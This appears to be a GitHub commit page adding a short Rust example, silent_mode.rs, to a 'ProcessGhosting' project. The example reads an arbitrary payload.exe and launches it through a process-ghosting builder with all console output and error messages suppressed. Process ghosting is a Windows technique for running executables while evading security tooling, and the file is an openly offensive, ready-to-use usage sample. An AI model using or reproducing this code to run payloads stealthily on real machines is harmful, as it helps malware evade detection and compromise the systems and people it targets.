We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 3a1a18f commit 600fde2Copy full SHA for 600fde2
ProcessGhosting/examples/silent_mode.rs
@@ -0,0 +1,25 @@
1
+//! Silent execution without console output
2
+//! Author: BlackTechX
3
+
4
+use process_ghosting::GhostingBuilder;
5
6
+fn main() {
7
+ // No init() call = no banner
8
9
+ let payload = match std::fs::read("payload.exe") {
10
+ Ok(p) => p,
11
+ Err(_) => {
12
+ // Silent failure - no output
13
+ std::process::exit(1);
14
+ }
15
+ };
16
17
+ // Silent execution - no output at all
18
+ let result = GhostingBuilder::new(&payload)
19
+ .x64()
20
+ .silent() // Disable all output
21
+ .execute();
22
23
+ // Exit with appropriate code
24
+ std::process::exit(if result.is_ok() { 0 } else { 1 });
25
+}
0 commit comments